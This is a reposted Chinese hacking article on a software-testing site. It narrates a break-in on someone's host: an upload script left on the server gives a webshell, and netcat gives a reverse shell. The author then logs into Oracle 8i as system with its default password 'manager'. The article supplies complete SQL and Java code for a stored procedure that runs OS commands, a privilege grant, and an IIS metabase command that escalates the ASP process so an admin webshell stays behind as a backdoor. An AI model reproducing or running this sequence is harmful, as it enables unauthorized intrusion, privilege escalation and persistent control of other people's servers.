• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: 小 中 大 | 推荐给好友 上一篇 | 下一篇

利用ORACLE的system帐户默认口令提升权限

发布: 2007-7-13 22:46 | 作者: 佚名    | 来源: 网络转载     | 查看: 26次 | 进入软件测试论坛讨论

领测软件测试网

近日,偶到一主机上逛了一圈 主机的配置 还算是安全 偏偏一个比较隐藏的目录下 残留一upfile.asp,结果轻轻松松的得到一webshell接着在主机上逛了逛,拿出superscan从外面扫了下 只开放了80端口 从user\程序目录里 发现有一快捷方式firecontrol 好象是某款硬件防火墙的控制台?EBSHELL下检测了下 开放的服务 发现一般的可提权的方法 都不可行 无SERV-U等等 主机的补丁也是打到了最新.

试了下,传了个NC上去 反连接得到一SHELL 这下比在老兵的管理器里舒服多了在C盘下看到一目录 oracle 看了下C:\oracle\ora81.network\ADMIN\tnsnames.ora文件 确定了主机的服务名xxx 看了下版本 oracle 8i 用数据库连接器 Provider=MSDAORA.1;Password=manager;User ID=system;Data Source=xxxx 试了下默认的system帐户 密码manager结果真的就连接到了本地的oracle服务这下好了 oracle的system帐户 就像是mssql下的sa 我们来通过他来提升权限

马上编辑了几个脚本

1.sql

create or replace and compile

java source named "Util"

as

import java.io.*;

import java.lang.*;

public class Util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int rc = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =

new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

rc = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

rc = -1;

}

finally

{

return rc;

}

}

}

---------------------------------------

2.sql

create or replace

function RUN_CMD(p_cmd in varchar2) return number

as

language java

name 'Util.RunThis(java.lang.String) return integer';

-------------------------------------

3.sql

create or replace procedure RC(p_cmd in varchar2)

as

x number;

begin

x := run_cmd(p_cmd);

end;

---------------------------------

保存在c:\下

然后用反连接得到的shell运行 sqlplus system/manager@xxx

然后在 再来执行脚本

SQL>@C:\1.sql

SQL>@C:\2.sql

SQL>@C:\3.sql

看到JAVA 已创建 函数已创建 过程已创建

接着我们继续

SQL> variable x number;

SQL> set serveroutput on

SQL> exec dbms_java.set_output(100000);

SQL>grant javasyspriv to system

看到授权成功

接着我们就可以来执行系统命令了 我想 先把ASP.dll加入特权一组

SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ');

看到过程已经成功完成 这个时候我们重新登陆我们的webshell 他已经具有admin权限了

接着 再用NC返回一个shell 已经是管理权限的了 我们可以做我们想干的事了 因为这个主机有防火墙 过滤了除80以外的端口 所以不好做图形的后门 只有留下一有权限的webshell到此 已经提权成功咯.

上次看到一篇文章里说 还有种 可以利用msvcrt.dll调用system()函数执行系统命令 结果找了很多资料 都没找到 如果哪位高手有这方面的资料 希望你可以 发布出来 共享一下



  

延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:[email protected] 电话:010-51297073

软件测试 | 领测国际 | ISTQB | ISTQB官网 | TMMi | TMMi认证 | 国际软件测试工程师认证 | 领测软件测试网